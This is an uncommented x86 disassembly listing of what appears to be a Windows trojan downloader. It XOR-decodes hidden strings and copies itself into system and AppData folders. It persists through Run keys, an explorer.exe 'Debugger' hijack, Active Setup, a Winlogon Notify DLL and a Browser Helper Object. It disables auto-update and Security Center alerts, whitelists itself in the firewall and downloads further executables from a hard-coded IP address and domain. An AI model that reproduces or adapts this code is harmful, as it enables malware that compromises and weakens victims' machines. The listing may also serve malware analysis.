push 0
lea eax, [ebp + 0x64]
lea edx, [esp + 0x9c]
push edx
push eax
push edi
push dword [esp + 0xac]
call fcn.00405d90
mov eax, edi
call fcn.00401029
cmp dword [esp + 0xc], 0
je 0x404831
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push dword [esp + 0xa8]
call fcn.00405e30
push dword [esp + 0x9c]
call fcn.00405d70
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea ebx, [esp + 0x124c]
push ebx
call fcn.00405d50
push str.Debugger
push dword [esp + 0x98]
call fcn.004060a0
mov eax, dword [esp + 0x94]
call fcn.00401251
push ebx
call fcn.00405e00
inc eax
push eax
push ebx
push 1
push 0
push str.Debugger
push dword [esp + 0xa8]
call fcn.00406080
mov dword [esp + 0x28], 1
push dword [esp + 0x94]
call fcn.00406030
mov dword [esp + 0x74], 0x10
lea eax, [esp + 0x74]
push eax
lea ebx, [esp + 0x1e8]
push ebx
call fcn.00406000
test eax, eax
je 0x4048d0
cmp byte [esp + 0x1e4], 0
jne 0x4048e4
push str.PREVED__I_SMOKE_GANJA_EVERY_DAY_
lea eax, [esp + 0x1b8]
push eax
call fcn.00405dc0
jmp 0x404914
push ebx
lea eax, [esp + 0x1b8]
push eax
call fcn.00405dc0
jmp 0x404902
lea eax, [esp + 0x1e4]
push eax
push ebx
call fcn.00405dd0
lea ebx, [esp + 0x1b4]
push ebx
call fcn.00405e00
cmp eax, 0xf
jle 0x4048f4
movsx eax, byte [esp + 0x1c3]
push eax
movsx eax, byte [esp + 0x1c6]
push eax
movsx eax, byte [esp + 0x1c9]
push eax
movsx eax, byte [esp + 0x1cc]
push eax
movsx eax, byte [esp + 0x1cf]
push eax
movsx eax, byte [esp + 0x1d2]
push eax
movsx eax, byte [esp + 0x1d5]
push eax
movsx eax, byte [esp + 0x1d8]
push eax
movsx eax, byte [esp + 0x1db]
push eax
movsx eax, byte [esp + 0x1de]
push eax
movsx eax, byte [esp + 0x1e1]
push eax
movsx eax, byte [esp + 0x1e4]
push eax
movsx eax, byte [esp + 0x1e7]
push eax
movsx eax, byte [esp + 0x1ea]
push eax
movsx eax, byte [esp + 0x1ed]
push eax
movsx eax, byte [esp + 0x1f0]
push eax
push str._02X_02X_02X_02X__02x_02x__02x_02x__02X_02X__02X_02X_02X_02X_02x_02x
push 0x40c280
call fcn.004060e0
add esp, 0x48
mov eax, str.SOFTWAREMicrosoftActive_SetupInstalled_Components_
cmp eax, 0x407af5
jae 0x4049c8
xor byte [eax], 0xd4
inc eax
jmp 0x4049bb
mov eax, str.ahuy.exe
cmp eax, 0x407aa8
jae 0x4049da
xor byte [eax], 0xd4
inc eax
jmp 0x4049cd
mov eax, 0x4072a0
cmp eax, str.ahuy.exe
jae 0x4049ec
xor byte [eax], 0xd4
inc eax
jmp 0x4049df
push 0x40c280
push str.SOFTWAREMicrosoftActive_SetupInstalled_Components_
lea ebx, [esp + 0x103c]
push ebx
call fcn.00405dc0
push eax
call fcn.00405dd0
lea eax, [esp + 0x94]
push eax
push ebx
push 0x80000002
call fcn.004060b0
test eax, eax
jne 0x404c7d
push 0x104
lea ebx, [esp + 0xf28]
push ebx
call fcn.00405f90
push str.ahuy.exe
push 0x40b041
push ebx
call fcn.00405dd0
push eax
call fcn.00405dd0
mov eax, str.0C8E6D89_EA51_848A_7775_6C2CC072CA88
cmp eax, 0x407286
jae 0x404a5e
xor byte [eax], 0xd4
inc eax
jmp 0x404a51
push str.0C8E6D89_EA51_848A_7775_6C2CC072CA88
push 0
push 0
call fcn.00405fb0
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404a90
push 0x2710
push eax
call fcn.00405d60
push dword [esp + 0x9c]
call fcn.00405d70
jmp 0x404a9a
push 0x7d0
call fcn.00405e60
push pe_nt_image_headers32
lea ebx, [esp + 0xf28]
push ebx
call fcn.00405d80
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404c5f
cmp eax, 0xffffffff
je 0x404c5f
push 0
lea edx, [esp + 0x9c]
push edx
push 0x800
push 0x4072a0
push eax
call fcn.00405d90
call fcn.004010b2
mov byte [esp + 0x1b], al
test eax, eax
jne 0x404b08
mov byte [esp + 0x1b], 0xc6
lea eax, [ebp + 0x64]
call fcn.00401000
mov byte [ebp + eax], 0
mov edi, eax
mov esi, eax
mov edx, dword [esp + 0x14]
lea eax, [eax + ebp]
cmp esi, eax
jae 0x404b34
movzx eax, byte [esp + 0x1b]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
lea eax, [edi + ebp]
jmp 0x404b20
lea eax, [esp + 0x1564]
lea ebx, [edi + ebp]
push eax
call fcn.00405e00
lea esi, [ebx + eax + 5]
add ebx, 0x64
cmp esi, ebx
jae 0x404b5f
call fcn.004010b2
mov byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
cmp esi, eax
jmp 0x404b4d
mov dword [edi + ebp + 1], ebp
lea eax, [esp + 0x1564]
lea ebx, [edi + ebp]
push eax
lea eax, [ebx + 5]
mov esi, ebx
push eax
call fcn.00405dc0
lea eax, [ebx + 0x64]
cmp esi, eax
jae 0x404b8e
movzx eax, byte [esp + 0x1b]
xor byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
jmp 0x404b7c
push 0
lea eax, [ebp + 0x64]
lea edx, [esp + 0x9c]
push edx
push eax
push edi
push dword [esp + 0xac]
call fcn.00405d90
mov eax, edi
call fcn.00401029
cmp dword [esp + 0xc], 0
je 0x404bdb
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push dword [esp + 0xa8]
call fcn.00405e30
push dword [esp + 0x9c]
call fcn.00405d70
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea ebx, [esp + 0xf3c]
push ebx
call fcn.00405d50
mov eax, dword [esp + 0x94]
call fcn.00401251
mov dword [esp + 0x98], 1
push 4
lea eax, [esp + 0x9c]
push eax
push 4
push 0
push str.IsInstalled
push dword [esp + 0xa8]
call fcn.00406080
push ebx
call fcn.00405e00
inc eax
push eax
push ebx
push 1
push 0
push str.StubPath
push dword [esp + 0xa8]
call fcn.00406080
mov dword [esp + 0x24], 1
push dword [esp + 0x94]
call fcn.00406030
lea eax, [esp + 0x1034]
push eax
push 0x80000001
call fcn.00406040
lea eax, [esp + 0x7b4]
call fcn.00403305
mov dword [esp + 0x94], eax
test eax, eax
je 0x404dd4
push str.SubshellState
push eax
call fcn.004060a0
push dword [esp + 0x94]
call fcn.00406030
lea esi, [esp + 0x7b5]
lea edx, [esp + 0x585]
lea ecx, [esp + 0x9de]
cmp esi, ecx
jae 0x404cd8
movzx eax, byte [esp + 0x7b4]
xor al, byte [esi]
inc esi
mov byte [edx], al
inc edx
jmp 0x404cc4
push str.rmass.exe
lea eax, [esp + 0x58a]
push eax
call fcn.00405e40
test eax, eax
jne 0x404d07
lea eax, [esp + 0x1564]
push eax
lea eax, [esp + 0x6ae]
push eax
call fcn.00405e40
test eax, eax
je 0x404d24
push pe_nt_image_headers32
lea ebx, [esp + 0x5aa]
push ebx
call fcn.00405d80
push ebx
call fcn.00405db0
jmp 0x404dd4
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea eax, [esp + 0x5be]
push eax
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404d07
cmp eax, 0xffffffff
je 0x404d07
push 0
push eax
call fcn.00405df0
mov dword [esp + 0x70], eax
cmp eax, ebp
je 0x404d6e
push dword [esp + 0x9c]
call fcn.00405d70
jmp 0x404d07
push 0
lea eax, [esp + 0x9c]
push eax
mov eax, ebp
push ebp
call fcn.00401000
push eax
mov esi, eax
push dword [esp + 0xac]
call fcn.00405da0
mov ebx, dword [esp + 0x70]
mov edx, esi
mov edi, dword [esp + 0x14]
lea eax, [esi + ebx]
cmp esi, eax
jae 0x404dc8
movzx eax, byte [edi]
movzx ecx, byte [edx]
cmp byte [esp + 0x585], al
je 0x404db2
dec ecx
jmp 0x404db4
test ecx, ecx
je 0x404dbf
mov eax, esi
call fcn.00401029
jmp 0x404d60
inc edx
lea eax, [esi + ebx]
inc edi
cmp edx, eax
jmp 0x404d9e
mov eax, esi
call fcn.00401029
jmp 0x404f64
call fcn.004010b2
test eax, eax
mov dl, al
jne 0x404de1
mov dl, 0x42
mov byte [esp + 0x7b4], dl
call fcn.004010b2
test eax, eax
mov dl, al
jne 0x404df5
mov dl, 0x4d
mov byte [esp + 0x585], dl
push str.rmass.exe
lea eax, [esp + 0x58a]
push eax
call fcn.00405dc0
lea eax, [esp + 0x1564]
push eax
lea eax, [esp + 0x6ae]
push eax
call fcn.00405dc0
mov esi, dword [esp + 0x14]
lea eax, [esi + ebp]
cmp esi, eax
jae 0x404e41
movzx eax, byte [esp + 0x585]
xor byte [esi], al
inc esi
mov eax, dword [esp + 0x14]
add eax, ebp
jmp 0x404e2a
push 0x104
lea ebx, [esp + 0x1458]
push ebx
push str._AppData__
call fcn.00405ff0
test eax, eax
je 0x404e9b
lea esi, [esp + 0x5a6]
push esi
push 0
push 0x40b043
push ebx
call fcn.00405e80
test eax, eax
je 0x404e9b
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404e9b
inc eax
jne 0x404ef8
lea ebx, [esp + 0x1454]
push ebx
push 0x104
call fcn.00405e70
test eax, eax
je 0x404f64
lea esi, [esp + 0x5a6]
push esi
push 0
push 0x40b043
push ebx
call fcn.00405e80
test eax, eax
je 0x404f64
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404f64
inc eax
je 0x404f64
push 0
lea eax, [esp + 0x9c]
push eax
push ebp
push dword [esp + 0x20]
push dword [esp + 0xac]
call fcn.00405d90
push dword [esp + 0x9c]
call fcn.00405d70
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea eax, [esp + 0x5be]
push eax
call fcn.00405d50
lea esi, [esp + 0x7b5]
lea edx, [esp + 0x585]
lea ecx, [esp + 0x9de]
cmp esi, ecx
jae 0x404f64
movzx eax, byte [esp + 0x7b4]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
jmp 0x404f50
mov eax, dword [esp + 0x14]
call fcn.00401029
push 0x104
lea ebx, [esp + 0xe18]
push ebx
call fcn.00405f90
push pe_nt_image_headers32
push str.RECOVER32.DLL
push 0x40b041
push ebx
call fcn.00405dd0
push eax
call fcn.00405dd0
push eax
call fcn.00405d80
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x405058
inc eax
je 0x405058
push 0
lea eax, [esp + 0x9c]
push eax
push 0x1400
push 0x408860
push dword [esp + 0xac]
call fcn.00405d90
cmp dword [esp + 0xc], 0
je 0x405019
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push dword [esp + 0xa8]
call fcn.00405e30
push dword [esp + 0x9c]
call fcn.00405d70
mov dword [esp + 0x20], 1
lea ebx, [esp + 0xe14]
push ebx
push str.winlogon.exe
call fcn.004034c9
pop edx
test eax, eax
pop ecx
jne 0x405052
push ebx
push str.explorer.exe
call fcn.004034c9
pop edi
pop ebp
push ebx
jmp 0x405133
call fcn.00405fc0
cmp eax, 0x20
jne 0x405077
mov dword [esp + 0x20], 1
lea eax, [esp + 0xe14]
push eax
jmp 0x405133
push 0x104
lea ebx, [esp + 0xe18]
push ebx
push str._AppData__
call fcn.00405ff0
push pe_nt_image_headers32
push str.RECOVER32.DLL
push ebx
call fcn.00405dd0
push eax
call fcn.00405d80
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x4050ce
inc eax
jne 0x404fce
call fcn.00405fc0
cmp eax, 0x20
je 0x405062
push ebx
push 0x104
call fcn.00405e70
push pe_nt_image_headers32
push str.RECOVER32.DLL
push ebx
call fcn.00405dd0
push eax
call fcn.00405d80
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x405123
inc eax
jne 0x404fce
call fcn.00405fc0
cmp eax, 0x20
je 0x405062
jmp 0x40515b
push str.kernel32.dll
call fcn.004034c9
pop ebx
pop esi
push 0
push 0
push 4
push 0
push 1
push 0x80000000
lea eax, [esp + 0xe2c]
push eax
call fcn.00405d50
push 0x104
lea ebx, [esp + 0xa8]
push ebx
call fcn.00405f90
push 0x40b041
push ebx
call fcn.00405dd0
mov eax, ebx
call fcn.004012c2
push 0x104
push ebx
push str._CommonProgramFiles_System_
call fcn.00405ff0
mov eax, ebx
call fcn.004012c2
push 0x104
push ebx
push str._AppData__
call fcn.00405ff0
mov eax, ebx
call fcn.004012c2
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
cmp eax, 0x40724d
jae 0x4051bf
xor byte [eax], 0xd4
inc eax
jmp 0x4051b2
lea edx, [esp + 0x94]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.00406010
test eax, eax
je 0x405203
lea eax, [esp + 0x94]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00406010
test eax, eax
jne 0x405258
cmp dword [esp + 0x28], 0
jne 0x40523b
mov eax, dword [esp + 0x94]
lea ebx, [esp + 0x1564]
call fcn.00401251
push ebx
call fcn.00405e00
inc eax
push eax
push ebx
push 1
push 0
push str.rmass.exe
push dword [esp + 0xa8]
call fcn.00406080
push str.winrnt.exe
push dword [esp + 0x98]
call fcn.004060a0
push dword [esp + 0x94]
call fcn.00406030
cmp dword [0x40c0d0], 2
jne 0x4054ca
mov eax, str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
cmp eax, 0x407214
jae 0x405277
xor byte [eax], 0xd4
inc eax
jmp 0x40526a
mov eax, str.NoAutoUpdate
cmp eax, 0x4071cf
jae 0x405289
xor byte [eax], 0xd4
inc eax
jmp 0x40527c
lea esi, [esp + 0x94]
push esi
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push 0x80000002
call fcn.004060b0
test eax, eax
jne 0x4052cf
push 4
lea eax, [esp + 0x9c]
push eax
push 4
push 0
push str.NoAutoUpdate
push dword [esp + 0xa8]
call fcn.00406080
push dword [esp + 0x94]
call fcn.00406030
mov eax, str.SOFTWAREMicrosoftSecurity_Center
cmp eax, 0x4071c2
jae 0x4052e1
xor byte [eax], 0xd4
inc eax
jmp 0x4052d4
mov eax, str.AntiVirusOverride
cmp eax, 0x407188
jae 0x4052f3
xor byte [eax], 0xd4
inc eax
jmp 0x4052e6
mov eax, str.AntiVirusDisableNotify
cmp eax, 0x407176
jae 0x405305
xor byte [eax], 0xd4
inc eax
jmp 0x4052f8
mov eax, str.FirewallDisableNotify
cmp eax, 0x40715f
jae 0x405317
xor byte [eax], 0xd4
inc eax
jmp 0x40530a
mov eax, str.UpdatesDisableNotify
cmp eax, 0x407149
jae 0x405329
xor byte [eax], 0xd4
inc eax
jmp 0x40531c
push esi
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push 0x80000002
call fcn.00406010
test eax, eax
jne 0x4053b7
push 4
lea ebx, [esp + 0x9c]
push ebx
push 4
push 0
push str.AntiVirusOverride
push dword [esp + 0xa8]
call fcn.00406080
push 4
push ebx
push 4
push 0
push str.AntiVirusDisableNotify
push dword [esp + 0xa8]
call fcn.00406080
push 4
push ebx
push 4
push 0
push str.FirewallDisableNotify
push dword [esp + 0xa8]
call fcn.00406080
push 4
push ebx
push 4
push 0
push str.UpdatesDisableNotify
push dword [esp + 0xa8]
call fcn.00406080
push dword [esp + 0x94]
call fcn.00406030
mov eax, str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
cmp eax, 0x407134
jae 0x4053c9
xor byte [eax], 0xd4
inc eax
jmp 0x4053bc
push esi
push 0x2001f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push 0x80000002
call fcn.00406010
test eax, eax
jne 0x4054ca
mov ax, 0x8000
call fcn.00401000
mov dword [esp + 0x70], 0x4000
mov esi, eax
mov eax, 0x407080
mov dword [esp + 0x98], 0x4000
cmp eax, 0x4070a4
jae 0x405418
xor byte [eax], 0xd4
inc eax
jmp 0x40540b
mov dword [esp + 0x30], 0
jmp 0x40545d
cmp dword [esp + 0x6c], 1
jne 0x405446
mov edx, 0x40708d
mov eax, ebx
call fcn.00401311
test eax, eax
je 0x405446
inc dword [esp + 0x30]
mov dword [esp + 0x70], 0x4000
mov dword [esp + 0x98], 0x4000
lea eax, [esp + 0x70]
lea ebx, [esi + 0x4000]
push eax
push ebx
lea eax, [esp + 0x74]
push eax
push 0
lea eax, [esp + 0xa8]
push eax
push esi
push dword [esp + 0x48]
push dword [esp + 0xb0]
call fcn.00406090
test eax, eax
je 0x405422
lea ebx, [esp + 0x1564]
push ebx
push 0x407080
push esi
call fcn.004060e0
inc eax
add esp, 0xc
push eax
push esi
push 1
push 0
push ebx
push dword [esp + 0xa8]
call fcn.00406080
mov eax, esi
call fcn.00401029
push dword [esp + 0x94]
call fcn.00406030
lea edx, [esp + 0x98]
push edx
push 0
push 2
push fcn.00402886
push 0x10000
push 0
call fcn.00405e50
push eax
call fcn.00405d70
mov eax, str.SOFTWAREMicrosoftCode_Store_DatabaseDistribution_UnitsBEF51551_1FBD_40B3_D7F8_EC01EF1C7BAE
cmp eax, 0x407060
jae 0x4054ff
xor byte [eax], 0xd4
inc eax
jmp 0x4054f2
mov dword [esp + 0x2c], 0
mov edx, str.SOFTWAREMicrosoftCode_Store_DatabaseDistribution_UnitsBEF51551_1FBD_40B3_D7F8_EC01EF1C7BAE
mov eax, 0x80000002
call fcn.004011cf
lea eax, [esp + 0xd04]
call fcn.004014f6
cmp dword [esp + 0x2c], 9
jle 0x4057c7
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 0
call fcn.004027ea
test eax, eax
jne 0x4057ae
push 0
lea eax, [esp + 0x6c]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call fcn.00406060
test eax, eax
jne 0x4057b7
lea ebp, [esp + 0x60]
push ebp
call fcn.00405e90
mov dword [esp + 0x5c], 8
lea eax, [esp + 0x5c]
push eax
lea edi, [esp + 0x58]
push edi
lea edx, [esp + 0x58]
push edx
push 0
push str.ConnPred
push dword [esp + 0x7c]
call fcn.00406070
test eax, eax
jne 0x4055be
mov edx, edi
mov eax, ebp
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x40568b
mov edx, 0x40c070
mov eax, ebp
call fcn.004014d8
cmp eax, 0x4af
jbe 0x40564b
call fcn.00402646
test eax, eax
jne 0x4057a5
push 1
xor edx, edx
mov eax, str.http:__utbidet_ugeas.biz_d_cc
call fcn.00401c3e
pop ecx
xor esi, esi
test eax, eax
mov ebx, eax
je 0x40560a
push 2
lea edx, [esp + 0x52]
call fcn.00402056
pop edx
cmp eax, 2
jne 0x40560a
mov si, 1
mov eax, ebx
call fcn.004021af
test esi, esi
je 0x405641
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov dword [0x40c070], eax
xor eax, eax
cmp byte [esp + 0x4e], 0x49
mov dword [0x40c074], edx
jne 0x40563a
cmp byte [esp + 0x4f], 0x54
jne 0x40563a
mov al, 1
mov dword [0x40c080], eax
jmp 0x40564b
mov dword [0x40c080], 0
cmp dword [0x40c080], 0
je 0x40568b
push 3
xor edx, edx
mov eax, str.grazie.gif
push 0
call fcn.0040233a
pop ecx
test eax, eax
pop ebx
je 0x40568b
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], edx
push 8
push ebp
push 0xb
push 0
push str.ConnPred
jmp 0x40578a
mov dword [esp + 0x5c], 8
lea eax, [esp + 0x5c]
push eax
push edi
lea edx, [esp + 0x58]
push edx
push 0
push str.UseExtProfile
push dword [esp + 0x7c]
call fcn.00406070
test eax, eax
jne 0x4056c6
lea edx, [esp + 0x54]
lea eax, [esp + 0x60]
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x40570a
call fcn.00402646
test eax, eax
jne 0x4057a5
push 1
xor edx, edx
mov eax, str.http:__69.50.173.166_gdnOT2424.exe
push 0
call fcn.0040233a
pop edi
test eax, eax
pop edx
je 0x40570a
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], edx
push 8
push ebp
push 0xb
push 0
push str.UseExtProfile
jmp 0x40578a
mov dword [esp + 0x5c], 8
lea eax, [esp + 0x5c]
push eax
lea ebx, [esp + 0x48]
push ebx
lea edx, [esp + 0x58]
push edx
push 0
push str.UseDflProfile
push dword [esp + 0x7c]
call fcn.00406070
test eax, eax
je 0x40574d
mov eax, dword [esp + 0x54]
mov edx, dword [esp + 0x58]
add eax, 0x1162f100
adc edx, 0xffffff9b
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], edx
mov edx, ebx
lea eax, [esp + 0x60]
call fcn.004014d8
cmp eax, 0x152ab
jbe 0x4057a5
call fcn.00402646
test eax, eax
jne 0x4057a5
push 3
xor edx, edx
mov eax, str.tombul.gif
push 0
call fcn.0040233a
pop ebx
test eax, eax
pop esi
je 0x4057a5
push 8
push ebp
push 0xb
push 0
push str.UseDflProfile
push dword [esp + 0x7c]
call fcn.00406080
push dword [esp + 0x68]
call fcn.00406030
mov dword [esp], 1
jmp 0x4057bd
push dword [esp + 0x68]
call fcn.00406030
mov dword [esp], 0
jmp 0x4057cb
cmp dword [esp], 0
je 0x4057cb
mov dword [esp + 0x2c], 0
jmp 0x4057cb
inc dword [esp + 0x2c]
mov dword [esp + 0x30], 0x3b
cmp dword [esp + 0x24], 0
je 0x40586b
push 0x21
lea ebx, [esp + 0xf28]
push ebx
call fcn.00405d80
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0x1038]
push eax
push 0x80000002
call fcn.004060b0
test eax, eax
jne 0x40586b
mov eax, dword [esp + 0x94]
call fcn.00401251
mov dword [esp + 0x98], 1
push 4
lea eax, [esp + 0x9c]
push eax
push 4
push 0
push str.IsInstalled
push dword [esp + 0xa8]
call fcn.00406080
push ebx
call fcn.00405e00
inc eax
push eax
push ebx
push 1
push 0
push str.StubPath
push dword [esp + 0xa8]
call fcn.00406080
push dword [esp + 0x94]
call fcn.00406030
cmp dword [esp + 0x28], 0
lea esi, [esp + 0x94]
je 0x4058c0
push 0x21
lea ebx, [esp + 0x1238]
push ebx
call fcn.00405d80
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsexplorer.exe
push 0x80000002
call fcn.004060b0
test eax, eax
jne 0x405927
mov eax, dword [esp + 0x94]
call fcn.00401251
push ebx
call fcn.00405e00
inc eax
push eax
push ebx
push 1
push 0
push str.Debugger
jmp 0x40590f
push esi
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.00406010
test eax, eax
je 0x4058f6
push esi
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00406010
test eax, eax
jne 0x405927
lea ebx, [esp + 0x1564]
push ebx
call fcn.00405e00
inc eax
push eax
push ebx
push 1
push 0
push str.rmass.exe
push dword [esp + 0xa8]
call fcn.00406080
push dword [esp + 0x94]
call fcn.00406030
cmp dword [esp + 0x20], 0
je 0x405aa9
push 0
lea ebx, [esp + 0x98]
push ebx
push 0x4087b8
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000002
call fcn.00406060
test eax, eax
je 0x405985
push 0
push ebx
push 0x4087b8
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000001
call fcn.00406060
test eax, eax
jne 0x4059b3
push 0x22a
lea eax, [esp + 0x7b8]
push eax
push 3
push 0
push str.SubshellState
push dword [esp + 0xa8]
call fcn.00406080
push dword [esp + 0x94]
call fcn.00406030
push 0x21
lea ebx, [esp + 0xe18]
push ebx
call fcn.00405d80
cmp dword [0x40c0d0], 2
lea esi, [esp + 0x94]
jne 0x405a32
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotifyBC84DF00_BC38_9902_8082_6FCBF2D87A0B
push 0x80000002
call fcn.004060b0
test eax, eax
jne 0x405aa9
mov eax, dword [esp + 0x94]
call fcn.00401251
push ebx
call fcn.00405e00
inc eax
push eax
push ebx
push 1
push 0
push str.DLLName
push dword [esp + 0xa8]
call fcn.00406080
push 8
push str.Startup
push 1
push 0
push str.Startup
push dword [esp + 0xa8]
call fcn.00406080
jmp 0x405a9d
push esi
push str.CLSID0D97A4D2_9F3D_E91C_5EAD_E685720E2FCCInProcServer32
push 0x80000000
call fcn.004060b0
test eax, eax
jne 0x405aa9
push ebx
call fcn.00405e00
inc eax
push eax
push ebx
push 1
push 0
push 0
push dword [esp + 0xa8]
call fcn.00406080
push 5
push str.Both
push 1
push 0
push str.ThreadingModel
push dword [esp + 0xa8]
call fcn.00406080
push dword [esp + 0x94]
call fcn.00406030
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects0D97A4D2_9F3D_E91C_5EAD_E685720E2FCC
push 0x80000002
call fcn.004060b0
test eax, eax
jne 0x405aa9
push dword [esp + 0x94]
call fcn.00406030
push 0x21
lea eax, [esp + 0x1568]
push eax
call fcn.00405d80
push 0x3e8
call fcn.00405e60
dec dword [esp + 0x30]
jns 0x4057d3
push 0
lea eax, [esp + 0x44]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
push 0x80000002
call fcn.00406060
test eax, eax
jne 0x405507
mov dword [esp + 0x3c], 4
lea eax, [esp + 0x3c]
push eax
lea ebx, [esp + 0x3c]
push ebx
push 0
push 0
push str.g00d_d0gg
push dword [esp + 0x54]
call fcn.00406070
test eax, eax
jne 0x405b88
mov eax, dword [esp + 0x38]
dec eax
test eax, eax
mov dword [esp + 0x38], eax
je 0x405b43
push 4
push ebx
push 4
push 0
push str.g00d_d0gg
push dword [esp + 0x54]
call fcn.00406080
jmp 0x405b88
push str.g00d_d0gg
push dword [esp + 0x44]
call fcn.004060a0
push 0x1388
call fcn.00405e60
cmp dword [0x40c0d0], 2
jne 0x405b7f
lea eax, [esp + 0x37]
push eax
push 0
push 1
push 0x13
call dword [0x40c220]
push 1
call dword [0x40c210]
jmp 0x405b88
push 0
push 6
call fcn.004060d0
push dword [esp + 0x40]
call fcn.00406030
jmp 0x405507